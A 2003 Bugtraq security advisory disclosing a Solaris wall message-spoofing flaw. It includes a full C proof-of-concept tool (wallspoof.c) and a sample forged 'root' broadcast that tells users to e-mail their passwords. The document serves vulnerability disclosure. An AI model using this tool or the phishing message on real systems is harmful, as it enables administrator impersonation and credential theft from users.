Solaris 2.x /usr/sbin/wall Advisory

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Date: Fri, 3 Jan 2003 11:53:17 -0500 (EST)
From: Brant Roman <broman@apollo.gti.net>
To: bugtraq@securityfocus.com

Affected Operating System(s): Solaris 2.x-9
   Possibly others derived from AT&T source code.

Affected Program: /usr/sbin/wall

Synopsis:
  Wall is a setgid tty program that broadcasts a message to every user
currently logged into the system. It can also receive messages from
remote hosts, via RPC (rpc.walld).
  The way that wall differentiates between messages sent by local and
remote users is by checking if the file descriptor pointed to by stderr
corresponds to a tty. If it doesn't, wall checks if the first 5 bytes of
the message are "From ". If this is true, the next non-white characters
must be in the form of user@host. One can simulate an rpc.walld message
by simply closing stderr before executing /usr/sbin/wall and sending a
fake "From " header.
  If this is achieved, it may be possible (by pretending to be an
administrator), to fool users into doing things they wouldn't normally do!

Example:

> ./wallspoof root@localhost
Enter your message below. End your message with an EOF (Control+D).
We'll be upgrading the system tonight. Everyone needs to e-mail their
passwords to suprhakr (he's in charge of security). If you don't do this
you won't have an account in the morning. Thanks.
<Done>
Broadcast Message from root (rpc.rwalld) on localhost Fri Jan 3
09:39:49...
From root@localhost:We'll be upgrading the system tonight. Everyone needs
to e-mail their passwords to suprhakr (he's in charge of security). If
you don't do this you won't have an account in the morning. Thanks.
>

This is how easily users can be tricked!

I believe this is a serious vulnerability, one which requires an IMMEDIATE
patch from Sun. Anyone who runs Solaris is at risk. You have probably
already been owned.

Proof of concept:

/*
 wallspoof.c - SOLARIS (X86/SPARC) Exploit
 Don't use this in a malicious way! (i.e. to own people)
 */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char **argv)
{
  char *userhost;
  char mesg[2050];
  FILE *tmp;
  if (argc < 2) {
    fprintf (stderr, "usage: wallspoof user@host\n");
    exit (-1);
  }
  userhost = argv[1];
  if ((tmp = fopen("/tmp/rxax", "w")) == NULL) {
    perror ("open");
    exit (-1);
  }
  printf ("Enter your message below. End your message with an EOF (Control+D).\n");
  fprintf (tmp, "From %s:", userhost);
  while (fgets(mesg, 2050, stdin) != NULL)
    fprintf (tmp, "%s", mesg);
  fclose (tmp);
  fclose (stderr);
  printf ("<Done>\n");
  system ("/usr/sbin/wall < /tmp/rxax");
  unlink ("/tmp/rxax");
}

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